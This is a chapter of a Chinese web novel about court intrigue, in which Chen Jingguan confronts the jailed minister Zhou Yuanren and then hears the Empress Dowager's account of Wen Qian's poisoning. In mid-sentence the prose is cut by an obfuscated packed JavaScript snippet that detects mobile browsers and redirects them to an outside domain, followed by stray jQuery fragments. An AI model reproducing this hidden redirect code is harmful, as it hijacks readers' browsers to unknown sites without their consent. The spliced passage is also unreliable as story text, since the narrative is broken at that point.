默认冷灰
24号文字
方正启体

154.凤鸣朝阳(四)

作者:恰逢其适本书字数:K更新时间:
    周原任不动声色地望着眼前的人,陈京观停顿了一下,“我想知道你要那么多钱做什么?”


    在陈京观和周原任针锋相对的同时,莫汝安的手下从周府的大门长驱直入,他的脚步停在一间柴房外面,那屋子的窗户全被油纸糊住了,从外头看整个屋子如同一座密不透风的监牢。


    “做好清点,全部充公。”


    这屋子里还只是周原任放在家里的名贵器具,在他的书房里,有个前朝的花瓶下压着一个厚厚的账册,上面记录着这么多年他在各地的银庄存了多少银钱,那个数字周原任也记不清了。


    “钱嘛,谁会嫌钱多呢?”


    周原任没有直面陈京观的问题,陈京观了然地点头,又换了一个问法,“你是从什么时候开始准备的?或者说,你是从什么时候觉得南魏没救了?”


    周原任的笑容僵在脸上,随即他轻笑一声,“你倒还真有些本事,猜到了?也是,我本来也没想着要隐瞒,你们再迟来几天,我就拖家带口到济州了。”


    从水患那时陈京观亲眼目睹盛州知州弃城而逃,他就已经明白了。


    俗话说有钱能使鬼推磨,这句话在乱世更是至理名言,这也是为何世家会抱团,毕竟钱永远只流向少部分人的口袋,捏住自己的钱袋子,那也就捏住了别人的命。


    周原任深吸一口气,脸上与其说是悔恨,倒不如说是落寞,他抬头看着陈京观,“这天下只有钱最有用,什么功名利禄,什么王侯将相,权力更迭时都不过是一场空。南魏往上数有十一位皇帝,算是个长命的王朝了,可人有暮年,国家又怎么能逃得脱?我想安乐地过完这辈子,我有错吗?”


    “那你走了,周湘呢?她是皇后她走不掉的。”


    陈京观的话问出来的那一刻,他们对答案都心知肚明,周原任嘴角噙着笑,片刻后叹息道:“我把她送到萧霖床上的那一刻,我们的亲缘就断了,这之后不过是她利用我打压其他嫔妃的母家,我利用她拉拢崇宁,各取所需罢了。”


    所以周湘远不是她表现出那般人畜无害,能在这后宫活二十多年的人,哪一个会是简单角色。


    陈京观临走前又看了周原任一眼,他觉得这应该是他最后一次见到这个人。周原任一死,从前那些事情就彻底结束了,这个世界上没有人会记得十年前的血雨腥风了。


    当然,除了陈京观。


    陈京观往前迈着步子,周原任站起身想要送他,走到门边时他被赶来的狱卒拦住,他自嘲似的笑了,陈京观没有回头,听到背后的人叫住了自己。


    “一切才刚刚开始,我倒还希望你真能在这朝堂上做一棵常青树。”


    “为什么?”


    周原任望着陈京观的目光有些出神,“我真的好想知道,会不会真的有人能逃脱着天定的命运。”


    这时站在光里的周原任突然变得黯淡了,他就像记载着过去一切的史书,陈京观翻开了他,阅读了他,最后将他付之一炬。


    可周原任心里的一字一句都不容修改,他目睹了萧氏姐弟的崛起,然后看着他们在权利争斗中互相折磨;他看着一批又一批意气风发的学子踏进崇明殿,有些人被抬了出去,有些人死无葬身之地。


    明日再上朝,甄符止就成了这那朝堂上最老的人,一个新的轮回又开始了。


    陈京观没有回答周原任几近呓语似的话,他步履不停地离开了大牢,他觉得牢里的血腥味快要逼得他喘不上气了,他不敢想温书让在这样的地方待了小三十年。


    “您可算出来。”


    陈京观气还没喘匀,一个候在外头的内侍俯身挡住了他的去路。


    “公公有事?”


    眼前的人像是不知道要怎么称呼陈京观,支支吾吾半天依旧用“您”做了代称。


    “太后娘娘请您去祥宁殿一趟。”


    “你这许久不进宫,大家排着队等着见你呢,陈公子好气派。”


    苏清晓嘴上打趣着陈京观,却又忍不住回头看了一眼背后的诏狱二字,“你说太后此时找你,是为了给他求情吗?我们要把一切告诉她吗?”


    “她又怎么会不知道。”


    陈京观看到周湘的第一眼,就了然了她的心思。


    “我叫你景豫吧,小时候你来宫里我还抱过你。”


    周湘说着吩咐人给陈京观端上茶点,陈京观将盘子里的东西打量了一遍,发现都自己曾经会在温浅宫里吃到的。


    “多谢太后娘娘。”


    陈京观也不客气,拿起盘子里的桃酥咬了一口,周湘见他这副样子忍俊不禁道:“你还真是一点也不怕我下毒害了你,我可就萧祺枫一个儿子。”


    陈京观端起手边的茶杯顺了顺嘴里的吃食,无所谓地耸了耸肩,“我也就温浅一个小姨,就温润一个母亲,就陈频一个父亲,就温书让一个外祖父,您还要我继续说下去吗?”


    周湘望着陈京观目光又柔和了三分,她扬了扬下巴让跟在陈京观身后的宫女为他把茶续上,等着陈京观将手里的东西吃完,周湘点了点头,这屋子便只留下了她和陈京观两个人。


    “你刚从诏狱出来,是去见他了?”


    陈京观毫不掩饰地点头,“周大人一切安好,他对自己的命运很清楚。”


    周湘眼眸低垂,陈京观便寻到了空隙将眼前的人从上到下打量了一遍。


    比起薛雯昭,周湘还要更小几岁,当时萧霖大选,周湘才不过十四,本不会被划进名单,是周原任自告奋勇去向崇宁暗示自己还有这么一个女儿。


    崇宁自然知道周原任的心思,但他们沾亲带故,周原任拿捏起来比寻常人都要容易,于是周湘成了周原任送给萧霖的贡品,周湘成了皇后,周原任终于爬到了尚书的位置。


    可周湘只有周原任这一个父亲,周原任却有七个子女。


    按照宫中惯例,得宠的嫔妃一旦有了孕,便可以请了自己的父母进宫来探望,十六岁的周湘见着自己一天天大起来的肚子,她心里又喜又怕,可她最后请来的只有她的母亲。


    周湘生产的那一天,周原任新迎娶了一位明月楼的小妾,算起来,只比周湘大四岁。


    可要说恨,周湘觉得也谈不上,起初她心里更多的是麻木,后来反而慢慢生出了一种庆幸。


    她想,如果自己没有成为周原任拉拢崇宁的工具,那她会是什么下场?会被随便指给那个小厮做太太,还是被送到哪个大人的床上?无外乎就这几种选择,周湘觉得倒不如做一个装傻充愣的皇后更舒服。


    于是这崇明殿里的每一日她都得过且过,她不喜不悲,也不争宠,她觉得有萧祺枫就够了,虽然到最后萧祺枫也没了。


    可那又能怎么样?周湘从来都没有亲人。


    “你要怎么处置他?绞刑,还是游街示众后砍头?”


    “没想好,”陈京观说完又看了周湘一眼,“太后娘娘有何高见?”


    周湘笑了,在她的笑里陈京观没有看到一丝不舍。


    “你是觉得我今日请你来,是为了替他求情?”


    陈京观对周湘的问题不置可否,周湘脸上的笑意便又浓了三分,“他都和你说了什么?”


    “他讲了我母亲,并且希望通过我母亲的死让我憎恨我父亲。”


    “那你恨陈频吗?你这样多少也有他的功劳。”


    陈京观摇头,却又将问题反抛给了周湘,“那你恨周原任吗?”


    “恨,恨他当初没把我掐死,”周湘笑得很轻易,好像在说着一句不痛不痒的玩笑,“你知道吗,我上头有五个姐姐,而我是第六个。”


    “只可惜,他当宝贝一样供着的儿子十二岁就掉湖里淹死了,他那些莺莺燕燕也没有一个能再给他生一个儿子的,这就是报应吧。”


    周湘说话时玩弄着自己垂在一边的头发,按理说见外男不该散发,可周湘到像是毫不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425725|146751||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在意,她细数着自己又新长出了几根白头发,然后笑着和陈京观打趣道,“你小姨那么爱美,要是她也像我一样在这宫里由着年华老去,她受不了的。”


    说起温浅,周湘手上的动作放慢了些,她抬头看了陈京观一眼,“听过你母亲的故事,那你还可愿意听听温浅的?这些话我没办法说给萧祺栩,那我就说给你听听?”


    周湘顿了顿,“你知道吗,温浅的死不是意外。”


    陈京观没有说话,这些事情在宫中就像是崇宁谋害亲夫一样是众所周知的秘密,只是没有人会把这些事放在台面上说,毕竟谁又是真的干净的呢?


    “我知道你会说是崇宁下的药,是,崇宁为了让我坐上后位可谓是煞费苦心。只是温浅每日一碗的汤药下肚,她当真不知道自己喝的是什么吗?她那么聪明,什么不知道啊。”


    周湘长叹一口气,像是脑海中那个已经模糊的人影又站在了她面前。那日选秀她们是一组的,周湘害怕,温浅就拉着她的手给她打气,温浅说自己不希望被选上,她有心上人了,吓得周湘连忙捂住了她的嘴。


    “姐姐莫要失言!”周湘四下张望着,“我们进了宫,便都是皇上的人。”


    “不,我叫温浅,我就是温家的女儿,是爹和娘的女儿。”


    在周湘眼里,这个长得十分漂亮的姐姐哪哪都让她羡慕,她知道温浅出了宫温书让一定会给她找个好人家,活得不一定比宫中差,她也知道凭温浅这张脸,她一定会中选。


    果不其然,萧霖只是抬头看了一眼,就勾了勾手指选中了温浅和周湘。


    那时候周湘还不知道自己该做些什么,她只听到温浅暗暗叹了一口气,可很快换上笑脸跪谢圣恩,周湘便有样学样跟着温浅跪拜。


    “那你为什么要进宫?你何不让心上人娶了你?”


    在初恩所教习的那些日子,两个小丫头几乎形影不离,慢慢熟络起来周湘也就更大胆了些,虽然她没有直接问温浅喜欢谁,可她能感觉到温浅喜欢的一定是个了不得的人。


    “他不见了,不辞而别。”


    在温浅嘴里,周湘知道了温书让曾经短暂地收留过一个落魄学生,也是在与那人的朝夕相处中温浅慢慢动了心,她能感觉得到那个人也喜欢自己,可两个人都没来得及表明心意,那个人就走了。


    “他去哪儿了?”


    温浅只是摇了摇头,周湘识相地没有再追问。


    “不过你说的对,我们进了宫,便都是皇上的人。”


    周湘惊讶于温浅突然转了性子,可她不知道的是,在无数个夜不能寐的晚上,温浅一遍又一遍规训着自己,告诉自己要好好活,无论在哪里都要好好活,她要替父亲争一份荣宠回去。


    后来温浅做了皇后,温书让差一点就成了丞相,如果没有陈频突然出现的话。


    再后来温浅生下了萧祺栩,崇宁借着给她调养身子的理由每天派人盯着她喝下一碗汤药。温浅自小体弱,自己看了不少医术,那药味儿她一闻就知道里面有什么,可她还是一口气喝完了。


    她知道自己不死,萧祺栩就活不了。


    只是她没想到,崇宁还是没有放过那个年仅四岁又刚没了娘的孩子。


    “我无意间撞见蒋铎从崇宁宫里出来,他手里抱着给温浅的药包,我将一切都告诉了温浅,哭着求她不要这么轻易地放弃,可温浅反过来求我,说等她死了,一定要让她的孩子活下去。”


    周湘红了眼眶,“可我还是没做到,因为我做不到。萧祺栩不去,我的枫儿就得去。”


    陈京观犹豫了一下,从怀里抽出一块干净的帕子,周湘笑着接过去道谢。


    “所以你想好了吗?要怎么处置周原任,怎么处置我?”


    陈京观没有回答,周湘失笑道:“那我求你一件事。”


    陈京观望着周湘,他看到周湘握着帕子的手紧了紧,“周原任,不得好死。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)